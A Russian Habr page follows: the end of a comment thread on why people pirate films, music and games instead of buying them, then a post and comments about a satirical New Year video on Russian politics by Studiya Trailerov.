После прочтения всего текста вышеуказанное ощущение сохранилось.
DoctorChaos
т.е. «вон там» и «блогозапись» в первой же строчке вас не удивило?
smind
Про музыку: с какой стати потребители смотрят с позиции автора?
«Почему автор сделал альбом один раз, а деньги за него хочет получать всю жизнь?».

Мне кажется тут уместнее другой вариант: «Я заплатил за альбом один раз, а слушать его смогу хоть всю жизнь без остановки.» — и в этом разрезе покупка музыки видится совсем по-другому, не правда ли?
namezys
А вот еще один маленький плюс в пользу легального контента. Подумайте о том, что покупая контент вы создаете рабочие места. Если вы файл покупаете то 50% ваших денег идет на зп людям. Чем больше вы покупаете тем больше возможностей сделать все что нам всем нужно. Все просто.
Atrax
… то 50 процентов идет на зп людям: 49 % хозяину, 1 % людям.
namezys
очень зря вы так думаете…
Atrax
Не всем так «везет» с работой, как вам. Полно компаний, особенно в контенте, где больше 50% дохода — это ЗП ( не считая социальных расходов, оплату фитнес-центров и тп)
namezys
Я один увидел тролл-фейс на заднем фоне сравнительной картинки?
Atrax
Захотелось поиграть в старые игрушки — айда на GOG. Прекрасный сайт, доступные цены, удобство. Однако туча старых игр там пока ещё недоступна, ибо копирастия. Например, первый диабло. Где сейчас его можно легально и быстро скачать, пусть за деньги? Отсюда следует поход на underground-gamer, там можно быстро и удобно нарыть подобные вещи. Увы, нелегально. Это недочёт копирастов. Сделайте же, вашу мать, старые и очень старые игрушки доступными по бросовым ценам — их станут покупать, а не скачают с трекеров.

Захотелось послушать музыку онлайн — Last.FM, вконтактике etc. Однако, музыка частенько бывает нужна в оффлайне с нормальным качеством, например, для плеера в дорогу, поэтому следует поход на известные трекеры. Чем скачанное оттуда отличается от прослушанного в онлайне? Мало чем. Увы, нелегально. И снова недочёт копирастов. Сделайте платные подписки на анлимный доступ в музыкохранилище, где можно накачать тучу всякой разной музыки и не только мэйнстрим — и пойдёт прибыль.

Захотелось посмотреть оняме. Например, One Piece.(Для справки ~500 серий). Где можно скачать легально здесь и сейчас, да и без чудо-перевода от надмозговитых дубляторов, а также без чудо-субтитров от них же? Да, и чтобы качество было нормальным, а не пикселями на полэкрана, чтобы глаз радовался? Ладно, ради такого можно даже потратить денюжку, и даже немалую. Оп-па, нигде такого нет, ну тогда айда в торренты. Снова недочёт, понятно чей.

Захотелось посмотреть киношку свежую, да и чтоб в качестве приличном было. Ну, само-собой, с звуковыми дорожками вменяемыми на родном и оригинальном языках. И чтоб субтитры были на выбор. В принципе, уже понятно, где такое искать. И чей недочёт — тоже ясно.

Вот как же интересно получается — организуют грамотные люди сервис, который легально по разумным ценам позволяет скачать нужную тебе игру/кино/музыку/оняме в пару — тройку кликов, то у него обязательно появляются пользователи, которые исправно и регулярно заносят деньги. И получают желаемое быстро и без особой возни. А копирасты с упорством идиотов продолжают выть про страшных воров/пиратов, из-за которых они теряют «недополученную прибыль», не замечая при этом, что у грамотных людей, КАЧЕСТВЕННО предоставляющих услуги, есть и прибыль, и пользователи новые постоянно множатся. Да и сами авторы контента тоже не в накладе будут.
Мир уже поменялся, необратимо, поменялись и способы доставки контента до конечного пользователя и заработка на этом. Все, кто не вписывается в новую модель доставки контента — либо отомрут за ненадобностью, либо включатся в новую систему.

Вот какие-то такие мысли на всё это у меня сформировались в голове. Извините за сумбурность.
namezys
Когда лицензионный контент не нужен

Ну знаете, не было бы лицензионного контента — не было бы и пиратского. Свободные поделки всё ещё редко могут соревноваться в качестве с контентом, который производится профессионально. Думаю, это закономерно.
В-третьих, доступ к подлинной звуковой дорожке.

Вообще-то, на лицензионных дисках очень редко не включают оригинальную дорожку и субтитры. По крайней мере, это верно для кино.

В остальном со всем полностью согласен. Особенно фигово дела обстоят именно с доступностью и оперативностью.
Atrax
>… будут ли правоторговцы делиться с авторами, и если да, то как

Как раз в тему цитата из соседнего топика:
… деньги, полученные в качестве компенсации ущерба, пойдут на пресечение пиратской деятельности и никакие отчисления в пользу авторов производиться не будут.
namezys
Тогда уж так

Mezomish
Почему же? Недавно изменили?
Mezomish
Я имел в виду пиратский вариант.
VolCh
В пиратском варианте работает перемотка, которая на лицензионном двд может быть и отключена
Правда во время лого WB она обычно работает и в лицензионках
SADM
Фух, добрался до конца топика ) Прочитал все комменты… выпил аспирину.

На самом деле, касательно темы топика, хотелось бы добавить еще одну причину имхо:

Скачать и посмотреть ту же версию Lie to me или любого другого зарубежного сериала, фильма и пр. гораздо интереснее в переводе таких групп как Lostfilm или др., где:

— делают ДЕЙСТВИТЕЛЬНО хороший перевод,
— под сериал выбирается определенная команда озвучки, с узнаваемыми (не бубнящими и пр.) голосами, которые делают сериал смотрибельным с помощью интонаций, выражения и донесения эмоциональных моментов до конечного потребителя, т.е. показывают и подчеркивают (а иногда даже и улучшают восприятие) игру актера,
— просмотр доступен везде (в любой соц.сети, торренте, пире, dc, и пр.)

А что на телевидении? В пример, тот же «Обмани меня» на первом:

— перевод не лучше, даже хуже чем у команд,
— сериал озвучивают так, как будто лишь бы убежать с работы пораньше, или наоборот, вразвалочку, как будто комментируют жизнь животных на Аляске зимой,
— вечные перерывы на рекламу
— HD качества можно и не достичь, просматривая всякого рода IpTV — плеерами (возможно, декодер выдает еще что-то приемлемое)

Для меня все плюсы в сторону именно такого распространения по сети.

P.S. А про унылое г.. вещание русских каналов в сети я вообще молчу…
VolCh
кстати, то же самое могу сказать и про распространение музыки:
(1) выбор в сети — гораздо шире, чем в любом магазине (регулярно бываю в западных музыкальных магазинах и прекрасно знаю, о чем говорю);
(2)отличная информационная поддержка (во многих специализированных блогах публикуются такие статьи о музыки, каких нигде больше не найдешь)
(3) возможность обратной связи

И все это можно заставить работать на пользу издателей музыки. Но этого пока никто не делает…
Pono
а где вы в steam находите дешевые игры? сколько обращал внимание там на цены они всегда (почти всегда) выше чем в русских магазинах. иной раз даже изданий на дисках (тот же контр-страйк). хотел в стиме купить dead space 2. но там цена какая-то атомная. в итоге купил его софткее (электронную версию) за 500 руб. ну вот не нашел я в стиме его за 18 долларов. все как-то больше за 60. не там искал?
namezys
Не в тот день искал, через пару недель в выходные сделают скидку 50 %, потом цену обратно вернут. Еще через месяц и 75 % может быть, ловить надо.

Первый Portal они распространяли бесплатно в течение месяца.
Mezomish
Если проводить аналогию со Стимом, то правообладателям надо сообщество с возможностью покупки лицензионного контента:
— Удобно организовывать коллекцию и иметь к ней доступ из любого места.
— Потоковый просмотр.
— Организовать совместные просмотры и прослушивания для множества людей через интернет.
— Скидки на старый контент, бандлы типа «все боевики со Сталоне».
— Конкурсы/розыграши.
— Фанарт.
— Возможность отмечечать понравившиеся моменты, комментировать их и делится ими.
— Создание групп и форумов для каждого фильма.
— Дать возможность независимым музыкантам/режисерам просто реализовать свой контент через эти сервисы.
— Упростить контакт с актерами/режисерами.
— Сделать ачивки для посмотревших всего Хичкока или например знатоков индийского кино. И прочие мерки. )
namezys
Социальную сеть прикрутить и на рынок!
Mezomish
Пираты спиратили пиратов карибского моря (:
Фраза скоро будет вновь актуальна.
wholeman
Интернет создает новые возможности для оценки продуктов творчества. Речь при этом идет не о денежной стоимости, а о стоимости репутационно-символической (количественным показателем которой является число скачиваний, число положительных упоминаний в блогах, форумах, социальных сетях). При этом практика показывает, что музыканты с высоким репутационным капиталом отнюдь не страдают от безденежья. Скорее, наоборот: вспомним, что те же Radiohead получили неплохие сборы от продажи альбома In Rainbows (сначала альбом распространялся через Интернет, а пользователям предлагалось сделать добровольные взносы — кто сколько может; да и на дисках он продавался весьма неплохо). Те же Einstürzende Neubauten вполне успешно занимаются распространением Интернет-релизов на пользовательские пожертвования.
Работая с Интернетом (в том числе и с бесплатным скачиванием), можно вырабатывать принципиально новые маркетинговые стратегии. Но дельцы от поп-музыки ориентированы на максимальное получение денег, они работают, как правило, с продуктом-однодневкой, который надо продать поскорее — поэтому новые технологии осваивают лишь единицы.

Еще один момент: в эпоху Интернета требования к продукту существенно растут. Люди не будут ни скачивать, ни покупать произведения низкого эстетического уровня. А хорошие вещи и продаются хорошо, и скачиваются хорошо (два примера я привел выше). Может быть, шоу-бизнесу надо просто искать новые формы работы с учетом специфики новых культурных реалий?
kekekeks
[ фильм, копирайт, dvd, torrent, скачать, скачать или посмотреть, реклама, фбр ]
Я минут 15 гуглил эту статью по вышеуказанным ключевым словам. А их здесь почти нет. Исправлено. Вдруг кто-то еще будет искать.
Блин, кое-как нашел. :)
Mithgol
Эта блогозапись легко и просто находится по фамилии «Кугимия», которой нет ни в одной другой блогозаписи на Хабрахабре (по крайней мере, прямо сейчас).
likeleto
Да, только нужно знать бы об етом заранее :D
Вообще тега dvd не хватает.
Меня зовут Иннокентий Скирневский, я руководитель Студии Трейлеров. Сегодня речь пойдёт об очень важном для меня проекте. Но для начала краткое вступление.

Пишу как есть. Моему аккаунту на Хабре уже больше 3 лет и я прекрасно знаю, как негативно воспринимаются любые просьбы по отношению к хабрусообществу.

Но сегодня я готов обменять вашу лояльность на своё участие в жизни Хабра. Если ролик и текст, который идёт ниже вам будет не по нраву, или Вы лично испытываете негатив ко мне или к Студии Трейлеров, то пожалуйста минусуйте меня, а не пост. Вот моя карма, чтобы вам было проще: Nos_S_Dest.

Карма зарабатывалась долго и дублирующих аккаунтов у меня нет. Если я уйду в минус, то обещаю больше никоим образом не беспокоить Хабр. Кармы много, но и вас не мало, всё в ваших руках.

Теперь к делу.

В 2009 году мы сделали 2 социальных ролика: Ролик Чиновников и Ролик Деда Мороза. Сейчас я хочу вам представить новый ролик.

К сожалению, фактически мы уже не успели его запустить. Публикуя ролик 30 декабря мы почти подписываем ему смертный приговор. Он просто не успеет разойтись, а после Нового года распространение останавливается (проверено на практике).

Поэтому, я очень прошу вашей помощи. От того, как этот ролик разойдётся зависит дальнейшая судьба наших будущих проектов. Публикуйте его в блогах, пишите о нём твиттерах, в соц. сетях, на ваших сайтах. Рассылайте его по скайпу и аське, просите ваших друзей опубликовать его. Мы хотим продолжать дело, которое начали этим роликом, без вас мы не справимся.

Большое спасибо всем, кто вместе с нами работал над роликом.

Ролик Деда Мороза 2: Ответ Старика:


Официальный анонс:
Новый Год — отличный повод внести в свою жизнь изменения, порвать со старыми вредными привычками и начать что-то новое и полезное. Перейти от констатации фактов к каким-нибудь действиям. Два года мы жалуемся на беспредел и хаос в стране. Два года разоблачаем и просим власть наказать, помочь, наградить. Youtube скоро лопнет от количества посланий, обращений и призывов.

Мы ждём, что кто-то там, наверху, в Кремле или где-то ещё, нас услышит, придёт на помощь, наведёт порядок. Но, если подумать — не староваты ли мы с вами, чтобы продолжать верить в Деда Мороза, по волшебству исполняющего наши желания? Так чего удивляться, что власть относится к нам, как к детям, рассказывая сказки и балуя конфетами по праздникам? Лишь бы мы не отвлекали её от важных взрослых занятий, которые нас не касаются, и вообще — не нашего ума дело?

Пускай канун Нового Года — это время волшебства, но может хватит уже надеяться на чудо? Мы же способны не только кричать о своих проблемах, мы вполне в силах начать какие-то из них решать. Все вместе. На Youtube хватит места и для советов, и для ответов на вопросы, и для руководств к действию. И пусть по началу не всё будет получатся красиво и эффективно. Здесь не существует правил. Можно только начать делать и учится на собственном опыте.

В третьей серии «Властелина колец» есть очень красивая сцена, в которой жители осаждённого города просят помощи, зажигая сигнальный огонь. На отдалённых вершинах гор его замечают и зажигают свой — и так далее, по цепочке. Этот огонь, от одной сигнальной точки к другой, проходит через горы, пока не достигает адресата. Сейчас мы можем видеть нечто подобное в сети — когда сигнал начинает свой путь от одного компьютера к другому, пока не находит того, кто может оказать помощь. От нас требуется лишь не прерывать цепь. Что мы, в частности, и будем делать на сайте bidlo.tv, где обязуемся собирать не только рассказы о проблемах, но и советы по их решению.

Ведь наша страна — это не Путин с Медведевым, не синие мигалки, не сотни километров нефте- и газопровода. Наша страна — это мы с вами. Простые и не очень люди. Власть будет обращаться с нами как с малыми детьми ровно до тех пор, пока не увидит, что мы уже выросли. Что умеем принимать самостоятельные решения и не боимся воплощать их в жизнь. И «Ролик Деда Мороза 2» — это не вирус и не реклама. Это мы зажигаем наш сигнальный огонь и, затаив дыхание, ждём…
hu67et
Ролик хорош.
Но если прошлые заставляли задуматься.
То новый — только огорчиться.
В расстроенных чувствах, в общем.
Но вы молодцы, да.
Nos_S_Dest
Спасибо
CB9TOIIIA
Кролик из Rayman Raving Rabbids клевый :)

побудило, сделать открытку на новый год из коллажа :)
lash
Мы не Прохорова трогали, а название. Так же считаем что инициатива с ё-мобилем очень хорошая
Nos_S_Dest
А чем название не угодило?
Название (бренд)= продукт.
Тронули название — тронули продукт.
lash
Молодцы, ничего не забыли.

Добавил в твиттер.
Laciel
Спасибо, вспомнили, что смогли: )
Nos_S_Dest
Ролик чрезвычайно правдив, опубликую, где смогу, а к карме вы слишком серьезно относитесь :)
slamduck
Спасибо. Публикации на Хабре приносят Студии Трейлеров заказов. Если убрать публикации ничего страшного конечно не случится, но заказов станет меньше. Поэтому этот вопрос надо отслеживать
Nos_S_Dest
Первая мысль — при чем тут StarCraft? А через мгновение дошло — это же лента Хабра…
Nigrimmist
от увиденного на сайте тошнить стало.
хотя… это не сайт такой. страна такая.
ColorFlow
Мы потихоньку переведём контент в более позитивно-созидательное русло
Nos_S_Dest
А не подскажите кто авторы ремиксов?
geksin
Вы тоже хотите их покарать?
Dim0FF
Один узнал, это — Aphrodite & Jungle Brothers (Gonzo Kindergarden Mix) — Вот оно какое наше лето…
А на Цоя очень много ремиксов, долго искать :)
Mezya
Отлично, снимите еще ролик IT-шника :)
Hoorsh
Была такая идея: )
Nos_S_Dest
Не хотите поучаствовать в создании сценария?
;-)
skirnevsky
Молодцы! всегда слежу за вашими обновлениями.
Прям праздник какой то), Очень порадовал ролик прямо в канун Нового года. Спасибо за то что вы есть!
Crac
Спасибо и спасибо, что следите: )
Nos_S_Dest
спасибо за ролик!

кстати, почему его нет в списке роликов на сайте студии? или я плохо смотрел?
Nesp
Вам спасибо, мы соц ролики после небольшой задержки выкладываем, страхуемся
d3sp
я, наверное, далек от деталей, поэтому спрошу — а от чего страхуетесь? ведь ролик этот и здесь тоже показан, и тэги у поста есть, да и прямая ссылка на студию? то есть все связать можно воедино, имея чуточку мозгов?
кстати, я просмотрел, или в ролике не было ничего на тему МБХ?
Nos_S_Dest
А что такое МБХ?
d3sp
цирк, который сегодня таки закончился в хамовническом суде, к сожалению, не в пользу МБХ
Nos_S_Dest
Михаил Ходорковский
d3sp
1% просмотров этого ролика отправляется «Российский союз правообладателей» — отлично!
LionAlex
Ещё бы без опечатки в слове просмотров — было бы ещё лучше )
Или это пасхальное яйцо такое. По опечатке в каждом ролике.
andrew_b
Специально сделали, чтобы народ обсуждал. Автор в рунетологии говорил про «маяки», тут их предостаточно.
setevik
Один момент: когда будете учиться чтить закон, постарайтесь не забывать кто его устанавливает.

Впрочем, еще немного и ролик будет классифицироваться по статье «призыв к насильственной смене власти»
Hint
Ну я думаю нам до «призыва к смене власти» далеко, мы стараемся ролики достаточно мягкими делать, без экстремизма, например
Vile
Да я бы на вашем месте выпустил этот отличный ролик ПОСЛЕ НГ. Грустный он. Печальный и тревожный. Сейчас все погыгыкают и завтра забудут, а смотреть и понимать весь творящийся в стране пиzдец нужно на трезвую голову. Хотя чего его понимать?? Все итак знают… :(
Спасибо за ссылку быдло.тв… Как-то пропустил этот ресурс.
Nos_S_Dest
Я надеюсь после праздников он снова всплывёт. Быдло-тв пока только набирает обороты, так что не удивительно что сайт пролетел мимо: )
Adam_B
Зачётно! Очень надеюсь, что 2 главных «героя» этого ролика его увидят и немного, хотя бы чуть-чуть задумаются о том, как живётся в нашем расчудесном государстве простым добропорядочным гражданам.
Nos_S_Dest
Медведев все наши ролики видел (знаю так как среди наших заказчиков есть и государственные) На счёт Путина не уверен
Golden_Grey
Мне думается, что они прекрасно в курсе как живется простым гражданам…
Nos_S_Dest
Думаете из окна тонированного «Мерседеса» или из-за 3-метрового забора дачи на Рублёвке всё видно?
GloooM
Я думаю что им доподлинно известно что и как происходит в стране и все это происходит по их желанию и четко спланировано.
Я думаю что они весьма не глупые люди и врятли смотрят на мир сквозь розовые очки. А пропаганда по гос. телевидению это такая пропаганда )
Golden_Grey
А как живется простым добропорядочным гражданам? Я, например, простой добропорядочный гражданин из Саратова и мне живется вполне нормально, друзьям моим живется нормально (а некоторым даже отлично). Да и в целом я вижу, что если есть голова и желание работать, то заработать деньги в России не так уж трудно, а с деньгами можно обеспечить нормальные условия жизни. Просто немного не понимаю общей истерии по поводу положения в России, по моим ощущениям у людей есть довольно много возможностей, чтобы обеспечить себе достойную жизнь, просто в это почему-то никто не верит и не пользуется.
GloooM
Полностью разделяю и поддерживаю вашу позицию
Bone
угу — поэтому ролик хоть и хороший, но какой то серый и приторный в стиле «путин и медведев — говно, и все что они делают тоже говно и все чиновники говно, а мы ничто...»

прошлые ролики были агрессивнее, с надеждой, побуждали, а этот нет…
Nos_S_Dest
Вы забываете, что деньги заработать можно далеко не любой работой. А работа нужна всякая. В том числе и та, на которой заработать нельзя (типа учителей, да).

urs
Остались учителя (в основном СССРовской закалки), которые предпочитают поработать с талантливыми и, чаще всего, достаточно бедными детьми, чем с богатенькими буратинами.
Не знаю как вам, а мне за это винить их ну очень трудно.
Vile
И поэтому люди, которые хотят учить исчезнут навсегда. Точнее останется небольшой процент людей, которыми по-настоящему следует восхищаться.
В любом случае — спор не по теме ролика, если желаете — можно перенести его в личку.
P.S. И да, надеюсь перед вами никогда не встанет необходимость такого выбора. Удачи.
urs
ок закрываем оффтоп…
у меня только вопрос — зачем люди учатся на учителей?
Dim0FF
К сожалению, мой круг знакомств показывает, что от безысходности.
Не знаю, то-ли я такое быдло, то ли по всей стране так — в пед идут те, кого больше никуда не взяли…
В 90-е выставили людей без высшего образования какими-то неудачниками, а сейчас, когда некому работать, например на заводах и стройках (хотя деньги предлагают приличные), удивляются, почему это все хотят попасть хоть в какой-то ВУЗ. На любых условиях.
urs
есть такое хорошее слово — призвание.
Dim0FF
вот и я про тоже,
если человека «тянет» быть учителем, то он им станет и будет. А слова выше на тему того, что репетиторство или другие способы заработка — развращает и уничтожает призвание «быть Учителем»… по-моему бред…
urs
Вот когда есть появляется такой выбор, слово «учить» превращается в такое говно, как есть сейчас в школах. Да, вы правы, пусть все учителя будут «зарабатывать», а на «учить» мы х… забьем, ведь всегда можно нанять репетитора.
Rayslava
Вы по-моему какую-то хрень морозите?

а как же призвание?

Я знаю много Учителей с большой буквы — которые прекрасные и чутки педагоги и грамотные репетиторы…

Вы все максимализируете — нет только черного и только белого
witbier
Да причем здесь призвание? Может вы и знаете много учителей, но это определенно малая капля в море. И чем больше государство подталкивает к выбору «учить» или «зарабатывать», тем эта капля будет все меньше и меньше.

Я не максимализирую, я говорю о том, на что за последние 15 лет произошло с той школой, в которую ходила моя дочь. Там уже учить некому, все учителя сбежали на «заработки».
urs
В моем примере — наоборот появились новые интересные учителя, — так что всё это субъективизм…

SmartBye
Кстати. в учительской среде нытья тоже хватает. Раньше ныли, что программу безбожно сжимают по времени. Теперь, что гадкий ЕГЭ убивает остатки советского образования. Там весьма негативно настроенное коммьюнити.
urs
И абортами на дому тоже можно, правда ведь?
SmartBye
не путайте законное с не законным… передергивать мнения любой идиот может
urs
То, что вы делаете – хорошо.
Вопрос в том, что вы предлагаете?
Я уже давно убедился в том, что общественное мнение не значит в нашей стране ровным счетом ничего, и как бы мне не хотелось этого говорить, но боюсь, что это будет всего лишь очередной ролик про то, как все плохо (читай «как на самом деле»).

Помог, чем смог, удачи вам!
aml
Спасибо, в отличии от всех остальных роликов мы не пытаемся что-то доказать правительству или в чём-то его убедить. Мы по эту сторону барикады работаем
Yareactor
Я чем больше живу, тем больше поражаюсь, сколько невостребованных возможностей есть у граждан. Это и использование механизма связей, и интерфейсы гражданско-государственного взаимодействия, и возможности общественных движений. А чем больше появляется высокопоставленных знакомых, тем больше убеждаюсь, что они отнюдь не всемогущи. Реальная сила — это народ. Чиновникам не пофиг на недовольство граждан — они точно так же получат по шапке от своих начальников. Видеоролики, статьи, митинги — это всё работает. И чем больше их будет, тем лучше для страны.
urs
разочарован посылом и настроением ролика, хотя сам ролик хорош,
первые три были лучше, а в этом только вторая часть стоящая…
stel
Очень тяжело угодить всем, рад, что в целом ролик и вторая часть вам понравились
Nos_S_Dest
понимаю…
но, если первые три ролика побуждали думать, то этот как то и думать не побуждает, ни действовать…
aml
собственно я субъективное мнение озвучил «Очень тяжело угодить всем»
urs
вроде же посыл есть — поделись опытом, выслав описание или видо своего опыта на соответствующий емейл?
Nos_S_Dest
сорри за опечатки :(
urs
«разочарован посылом» = посыл есть, но не побудил меня к чему либо… либо посыл слаб, либо я толстокож…
urs
ну если быть совсем честным, то меня лично посыл тоже обошел стороной, я давно уже не живу в России
но ролик понравился, и идея собрать видео-ролики на тему, как соблюдать закон и не давать чиновникам и ми/по-лиции заниматься беспределом — понравилась
d3sp
угу, предыдущие ролики были нейтральные, но агрессивные и с зерном надежды :)
(что вроде как и люди есть, которым что то надо, и не все чиновники козлы)
их хотелось смотреть и пересматривать…

а этот ролик меня уже на второй раз не хватило пересмотреть…
d3sp
а я так пару раз посмотрел, ради деталей, которых много в этом ролике ;)
urs
ну я тоже себя заставил и еще больше разочаровался…
к примеру «парад настоящих победителей» — идеологическая бессовщина… ну нет ничего плохого в этом…
d3sp
я флаг этот разглядел только на третий раз, но вроде как все эти фразы, включая парад победителей, проговариваются с глубоким сарказмом

но тут надо послушать мнение начальника транспортного цеха^H^H^H создателя ролика
urs
Да естественно это сарказм
d3sp
А мне не понравилось.
urs
Не бывает так, чтобы всем нравилось, такие мнения тоже нужны
d3sp
Просто больше напоминает раскрутку сайта, чем активную гражданскую позицию создателей ролика. Осталось такое впечатление после просмотра, вполне возможно что ошибочное.
Nos_S_Dest
Ролик это часть бОльшего проекта. Мы раньше писали, и сейчас этой же позиции придерживаемся — отдельный разовые ролики бесполезны
Santez
А мне понравилось, но на пинок для действия не похоже
Nos_S_Dest
Спасибо, иногда надо с чего-то начинать
setevik
Ролик отличный! Только не к чему было такое вступление в топике, хороший ролик и без просьб быстро разойдется.
Nos_S_Dest
Да — ныть про карму было излишне.
Если Вы сделали что-то интересное, а так и есть, то не бойтесь критики.
Ролик отличный!

зы. ЦОЙ жив!
Kolicher
1) Пиар быдло.тв увидел ТОЛЬКО со второго раза.
2) Про контакте, не ценят правительство, и какой то там трубопровод — что это?
Nos_S_Dest
в контакте игра типа веселый фермер на тему сколково
трубопровод — «разоблачения» «правдоборца» навального по транснефти
про ценят и машину калину — отсыл на ролик про знаменитый автопробег
Azya
про вконтакте, то что там изменили интерфейс страницы и люди ВОЗМУТИЛИСЬ!
Xarakternik
Спасибо за указание отсылок
gigaset88
под «что это» я подразумевал «НАХУЙ ЭТО?»
d3sp
угу, как бывший военный поддерживаю вашу позицию
mipan
Что-то я Вас не понял. Вы что, подумали что авторы всерьез так считают?
Nos_S_Dest
Если они пошутили, то шутка более чем неуместная. Понять эту картину можно по-разному. Я, например, заметил, что на других кадрах в ролике картинка «разоблачает» текст. Если авторы имели в виду что-то другое, значит было ошибкой допускать неоднозначную трактовку.

А тему ВОВ, на мой взгляд, вообще надо табуировать. Я против какой-либо иронии на эту тему.
gigaset88
вы, видимо, не с той стороны смотрите на ситуацию.
Эта фотография с вполне конкретного события в 2010 году. На Параде Победы на красной площади впервые были американцы с американским же флагом.

Если вы считаете, что авторы во фразу «настоящие победители» на фоне ам. флага не вкладывают иронии/трагизма/трагедии, то, я думаю, вы ошибаетесь.
FloppyFormator
Я конечно понимаю что выезжать проще всего на чем нибудь скользком, например на соплях или сиропе, но все же у вас будут свежие идеи?
urs
В формате «роликов чего либо» — нет. Они изначально делаются под широкую аудиторию. С идеями мы экспериментируем на других роликах
ivanych
Мне нравится, а правда она такая почти всегда, неприятная. Музыка подобрано отлично, аллегории классные.
FloppyFormator
Спасибо
mipan
Спонсоры — это сарказм? а так ролик хорош, отправьте его на kremlin.ru
AlexAdskiy
Конечно сарказм, обязательно отправим
Nos_S_Dest
после того как Путина изобразили в виде Добби, в Кремле их любой пошлет в жопу
mythmaker
Есть мнение, что этот ролик разительно отличается от первых двух по стилю подачи информации, технике итд
Этот делали другие или в чем то другом подвох?
Nos_S_Dest
те же люди
Ganesh
Ок, тогда 5 баллов за кролика из Rayman Raving Rabbids и инновационный центр ферму — Сколково!!!
но, согласен, позитива надо бы добавить, надеюсь будущий год даст больше поводов…
Nos_S_Dest
Денежная воронка превратится в фонтан? :)
rGizmonua
да и сразу улетит в космос… судя по тому, что 2011 год в России был объявлен годом космонавтики)))
combin
Ролик поддерживаю! Строя планы на будущее всегда стоит оглянуться назад и подвести итоги. Так можно понять, что сделали, чего добились и над чем еще нужно поработать.

Предлагаю в следующих «ответах» (если они последуют) добавить хотя бы немного позитива, ведь было же и хорошее что-то в уходящем году!
Nos_S_Dest
Спасибо. Да мы стараемся потихоньку ролики уводить в позитив. Просто с позитивом сложнее работать, больше опыта нужно
combin
Зачем только непонятное унылое начало? :) Как уже говорили — больше позитива!
Rayslava
«Интеко», «РосНано», «ТрансНефть», «Сколково», «ВТБ», «ГазПром»…
Это шутка или как?
С такими спонсорами Вам приличный человек руки не подаст.
combin
<irony> Даже нечего ответить </irony>
fidan
По-моему, это ирония ;)
И ссылочка про 1% тоже отлично вписалась.
Nos_S_Dest
omg! И правда%)!
Ну а Сбер при чём тогда?
luckyredhot
А он спонсор воронки. Ребрендинг же…
GreenAngel
Правильнее было бы написать так: «Мы все в этом году были спонсорами «Интеко», «РосНано», «ТрансНефть», «Сколково», «ВТБ», «ГазПром»».
Dim0FF
Шелдон, ты?
Rayslava
Ребят, спасибо, очень качественная работа. Глаголом жечь сердца людей. Остальное оставляю при себе, не стоит слишком много говорить, надо просто молча делать, не откладывая на завтра.
GreenAngel
Спасибо, мы и делаем
Rayslava
Вы не правы, говоря, что ролик не разойдётся, если до нового года не успеет. Ваш ролик о чиновниках и шлегелевский я ношу с собой на флешке и, зачастую, показываю то тут, то там, тем, кто ещё не видел их. (они, показанные хронологически правильно, очень нравятся народу) Это «интернетчики» смотрят сразу по выходу — они в струе. А сколько людей смотрит ещё потом? Никак не посчитать, а их много. Есть такие кому я показал только в Ноябре, ну, так уж получилось.
Кстати, в комментах к «Ролику Деда Мороза» вам предложили не просто констатировать действительность, а предлагать пути. Вижу, вы уже взялись за дело. Это просто замечательно.

Спасибо за вашу работу — она воодушевляет.
rewse
Большое спасибо за ваше сообщение, оно воодушевляет нас
lasthero
Мо-лод-цы!)
Тут за идею радуешься, а реализация вообще похвал. По-другому у вас не бывает :)

з.ы. дайте ролик с этим «именитым» кроликом на сортире с щеткой в руках, где он кричит? :)
Apach
Спасибо

Ролик можно найти есть вбить в поиске «факты о кроликах»
Nos_S_Dest
Спасибо, разместил ролик в блоге.
thanatos
Спасибо
Nos_S_Dest
Качество на высоте, видеоряд хорош, подобрано все в тему.
Но как-то сумбурно. Вот я например посмотрел сейчас, и уже забыл, про что он был. Ни слова не вспомню.

А вот например ролик антимульта Почему в России плохие дороги. Кроме того, что там просто шикарная инфографика, еще и основная мысль запоминается на много-много месяцев вперед.
Droy
Мы если честно не очень любим ролик про дороги, НО ролик действительно неплохой на общем фоне и лежит у нас на Быдло.тв
Nos_S_Dest
Да, вот этот ролик действительно хорош, как по контенту так и по исполнению. Внушает.

А 3 ролика в этом посте — полное говно по контенту и очень хороши по графике. Но не внушают. Так помелькало и хрен с ним.
iwfyb
ролик понравился, поставил его в LJ и дал ссылку в твиттере, удивлен, что не упомянули о смерти российского правосудия
Nos_S_Dest
видимо, когда ролик был закончен, надежда таки еще теплилась, но сегодня стало ясно, что «Мудье Судилкину — пожизненный бан» (источник выражения)
rimmer
Да, Ходорковского просто не успели зацепить
Nos_S_Dest
Лучше всех сказал Владимир Войнович об оном судилкине…
«Признав подсудимых виновными в том, в чем они невиновны, судья Данилкин вынес три приговора. Первый — Ходорковскому и Лебедеву: к дальнейшему заключению. Второй — российской судебной системе: к смертной казни. И третий — самому себе: к высшей мере наказания — пожизненному презрению.»
eternals
Хорошо сказано
ergil
да, хорошо сказано
d3sp
у Навального свой формат, не уверен, что он поддержит
Nos_S_Dest
ахем… навальный ничего не заказывает, это ему заказывают тот или иной материал
ergil
Мы Навального активно поддерживаем, может быть из-за этого
Nos_S_Dest
формат, успешно спонсируемый с другой стороны океана
d3sp
Я думаю, имеется ввиду «вконтакт». Там что-то со «стеной» сделали недавно :)
Bone
Статья на луркморе. Простите.
Nos_S_Dest
Раньше ролики были такие, что я читать всё успевал, а сейчас — не всё, приходилось ставить на паузу.

Ну хоть какое-то дело начали делать! Надо помогать друг другу.

P.S. В ролике ошибку нашёл «Как найти работ?»

d3sp
У нас в каждом ролике ошибка, это традиция уже: )
Nos_S_Dest
Спасибо, ребята! Был в восторге от первого ролика, вы молодцы.
Концовку не дотянули, правда. Начало шикарное.
d3sp
Да, согласен, концовку можно было усилить. Но у этого ролика есть еще внутреннее обязательное правильно — он должен создаваться за неделю. Это накладывает определённый отпечаток
Droy
Мне кажется, что технически ролик выполнен хуже, чем предыдущие. Музыка не понравилась совсем. В тоже время смысловое содержание уже лучше.

Совет: было бы неплохо консультироваться с умными людьми, чтобы они помогли указать на некоторые явно неудачные (читай — неоднозначные) лозунги и заявления.

Например, я не готов помочь распространять ваш ролик ибо несмотря на наличие многих умных и правильных вещей, там так же содержется много бреда и популизма.

С уважением.
lasthero
Да, действительно всё неоднозначно. С другой стороны количество людей с которыми мы советуемся просто зашкаливает
OlegTar
«Совет: было бы неплохо консультироваться с умными людьми» — например со специалистами по недвижимости, которые разбираются в технической и музыкальной составляющих, а так же могут указать на явно неудачные лозунги.
Nos_S_Dest
На последних секундах — ссылка на Луркоморье, СПГС…
DeadFine
Рад что заметили: )
Nos_S_Dest
